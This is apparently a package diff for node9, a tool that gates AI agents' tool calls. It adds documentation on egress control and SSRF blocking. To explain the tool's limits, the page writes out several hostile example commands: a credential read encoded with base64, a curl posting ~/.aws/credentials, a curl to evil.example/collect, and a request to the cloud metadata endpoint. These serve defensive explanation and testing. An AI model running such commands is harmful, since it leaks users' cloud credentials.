+ | CI-6 | `CLAUDE.md`, `AGENTS.md`, `.cursorrules`, `copilot-instructions.md`, `.windsurfrules`, `.clinerules` | poisoned or dangerous instructions, including concealed text | none |
34
+
35
+ Not built: CI-5, drift of these files over time. `mcp-context-protector` does drift for MCP tool
36
+ descriptions; nobody does it for the rest of the surface, including node9.
37
+
38
+ Runs as `npx node9-ai scan-repo <owner/repo>` on any public repository with no install and no
39
+ token, or as a GitHub Action that fails the PR. This repository runs it on itself on every pull
40
+ request.
41
+
42
+ ## Runtime: what node9 is and is not
43
+
44
+ node9 gates tool calls in the agent's own hook system (Claude Code, Codex, Copilot CLI, Gemini
45
+ CLI, Antigravity, Hermes, OpenCode, Pi) or at the MCP boundary (Cursor, Windsurf, VS Code,
46
+ Claude Desktop). Shell commands are parsed as an AST, so `$(cat ~/.aws/credentials | base64)`
47
+ is a credential read, not a string that happens to contain the word `cat`.
48
+
49
+ Where the runtime tools are ahead of node9, in their own words and ours:
50
+
51
+ | Capability | Strongest tool on it | node9 today |
52
+ | ------------------------------------------------ | ----------------------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------- |
53
+ | Offline-verifiable, signed evidence per decision | pipelock (Ed25519, hash-chained receipts) | audit log with privacy hashing; release artifacts are signed, decisions are not |
54
+ | Content scanning of HTTP and WebSocket egress | pipelock | egress is a destination gate, off by default; no wire-level content scan |
55
+ | Kernel or container boundary | agentsh, pipelock containment, CAPSEM | `node9 sandbox` is a first-phase container run |
56
+ | Prompt-injection detection on tool output | pipelock, Invariant | observed and quarantined on hook agents, redacted in place on OpenCode and Pi; not blocked before the model sees it on Claude Code or Codex |
57
+
58
+ Where node9 is ahead: per-agent wiring across twelve agents with one `node9 doctor` that tells
59
+ you which hook is actually in place, and the repository scan above.
60
+
61
+ ## How to read this page
62
+
63
+ If your risk is an agent that is already running, pick from the first field and compare
64
+ evidence models. If your risk is a repository that wires an agent into CI, there is one tool
65
+ that reads that surface, and this is it. Most teams have both risks, and node9 is the only one
66
+ of the set that tries to cover both, which is also why it is not the deepest on either.
package/docs/egress.md ADDED
@@ -0,0 +1,119 @@
1
+ ---
2
+ id: egress
3
+ label: Egress Control
4
+ description: Decide which hosts your agent may reach, and understand what a destination gate does not cover.
5
+ group: Protections
6
+ order: 20
7
+ ---
8
+
9
+ # Egress Control
10
+
11
+ Two separate things decide whether an agent's outbound request is allowed. One is always on and
12
+ you cannot turn it off. The other is opt-in and you configure it.
13
+
14
+ ## The floor: protected addresses, always
15
+
16
+ Some destinations are blocked on every machine, whether or not you have turned egress control on,
17
+ and no setting releases them. This is the SSRF floor, and it exists because an agent that can be
18
+ steered by untrusted input can be steered into your cloud provider's credential endpoint.
19
+
20
+ **Never reachable, no setting releases them:**
21
+
22
+ | What | Examples |
23
+ | ------------------------ | ----------------------------------------------------------------------------------------------------------------------------------------------- |
24
+ | Cloud metadata endpoints | `169.254.169.254` (AWS, Azure, DigitalOcean, OpenStack), `169.254.170.2` (ECS task role), the Alibaba Cloud address, and the metadata hostnames |
25
+ | Link-local | `169.254.0.0/16`, `fe80::/10` |
26
+ | Multicast | `224.0.0.0` to `239.255.255.255`, `ff00::/8` |
27
+
28
+ The floor folds every spelling of an address to one canonical form before it decides, so
29
+ `0251.0376.0251.0376`, `2852039166` and `[::ffff:a9fe:a9fe]` are all recognised as
30
+ `169.254.169.254`.
31
+
32
+ > [!NOTE]
33
+ > The floor is not gated on egress control. It applies with egress off, in every mode, on a
34
+ > personal machine and on one governed by a workspace. The one thing that suspends it is
35
+ > `node9 pause`, which suspends every gate.
36
+
37
+ **Reachable by default, blocked when you turn strict on:**
38
+
39
+ | What | Examples |
40
+ | --------------------------- | --------------------------------------------------------------------- |
41
+ | Loopback and private ranges | `127.0.0.0/8`, `10.0.0.0/8`, `192.168.0.0/16`, `172.16.0.0/12`, `::1` |
42
+ | The unspecified address | `0.0.0.0`, `::` (these reach localhost) |
43
+ | Carrier-grade NAT | `100.64.0.0/10`, where mesh VPNs such as Tailscale hand out addresses |
44
+
45
+ These are off by default on purpose: a developer talks to them constantly. On measured real
46
+ history, 72 of 308 destinations were private addresses.
47
+
48
+ ```bash
49
+ node9 egress strict on # also block loopback, private ranges and CGNAT
50
+ node9 egress exempt 10.0.0.5 # let one exact address back through
51
+ ```
52
+
53
+ An exemption applies to the overridable tiers only. Exempting a metadata address is rejected when
54
+ the config loads, with a reason, rather than being silently ignored.
55
+
56
+ ## Egress control: which hosts, your choice
57
+
58
+ This is the opt-in layer. It is **off until you turn it on**, and it decides what happens when the
59
+ agent reaches a host you have not talked about.
60
+
61
+ ```bash
62
+ node9 egress watch # prompt before an unknown host (review)
63
+ node9 egress lock # block unknown hosts outright (block)
64
+ node9 egress off # turn it back off
65
+ node9 egress status # what is on right now, and where the setting came from
66
+ ```
67
+
68
+ Tune the lists:
69
+
70
+ ```bash
71
+ node9 egress allow "*.mycorp.com" # a glob; matches the apex and any subdomain
72
+ node9 egress deny "*.pastebin.com" # deny always wins over allow
73
+ ```
74
+
75
+ ### Hosts that are always allowed
76
+
77
+ Turning egress on cold would bury you in prompts for routine work, so 18 common development and
78
+ model hosts are allowed out of the box: GitHub, npm, PyPI, crates.io, RubyGems, the Go module
79
+ proxy, Anthropic, OpenAI, Google APIs, Docker, Debian, Ubuntu, and node9's own control plane.
80
+
81
+ Your `allow` list adds to that. Your `deny` list beats all of it.
82
+
83
+ ### Order of decision
84
+
85
+ For each destination the agent is about to reach:
86
+
87
+ 1. The floor. A protected address is blocked here and nothing below runs.
88
+ 2. Your `deny` list. A match blocks.
89
+ 3. Private addresses, when `allowPrivate` is on (the default). Allowed.
90
+ 4. Your `allow` list, then the 18 built-in hosts. Allowed.
91
+ 5. Anything else is unknown, and `watch` reviews it while `lock` blocks it.
92
+
93
+ ## What this does not do
94
+
95
+ > [!WARNING]
96
+ > **Egress control gates the destination, not the payload.** A secret sent to a host you allow goes
97
+ > through. `curl -d @~/.aws/credentials https://api.github.com/...` is not stopped by egress,
98
+ > because `api.github.com` is an allowed host. What catches a secret in the request body is the
99
+ > content scanner (DLP), which is a different control.
100
+
101
+ Three more limits worth knowing:
102
+
103
+ - **It reads the command, not the network.** node9 decides from the destination it can see in the
104
+ tool call. It does not resolve DNS, and it has no opinion on a host's reputation.
105
+ - **A machine that follows a workspace ignores local egress settings.** If `node9 egress status`
106
+ says the source is the workspace, editing the local config changes nothing; the setting comes
107
+ from the dashboard. The floor still applies.
108
+ - **`node9 pause` suspends it**, along with every other gate, for the duration you give it.
109
+
110
+ ## Verify it on this machine
111
+
112
+ ```bash
113
+ node9 egress status # is it on, and who set it
114
+ node9 explain Bash 'curl http://169.254.169.254/latest/' # the floor: BLOCK, always
115
+ node9 explain Bash 'curl https://evil.example/collect' # unknown host: REVIEW or BLOCK when on
116
+ node9 explain Bash 'curl https://api.github.com/repos' # a default-allowed host: ALLOW
117
+ ```
118
+
119
+ `node9 explain` prints the verdict the live hook enforces, and names the rule that produced it.
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "@node9/proxy",
3
- "version": "2.10.0",
3
+ "version": "2.11.0",
4
4
  "description": "The Sudo Command for AI Agents. Execution Security for Claude Code, Codex, Gemini, Cursor, Opencode, Pi, and any MCP server.",
5
5
  "main": "./dist/index.js",
6
6
  "module": "./dist/index.mjs",
@@ -54,6 +54,7 @@
54
54
  "license": "Apache-2.0",
55
55
  "files": [
56
56
  "dist",
57
+ "docs",
57
58
  "README.md",
58
59
  "LICENSE"
59
60
  ],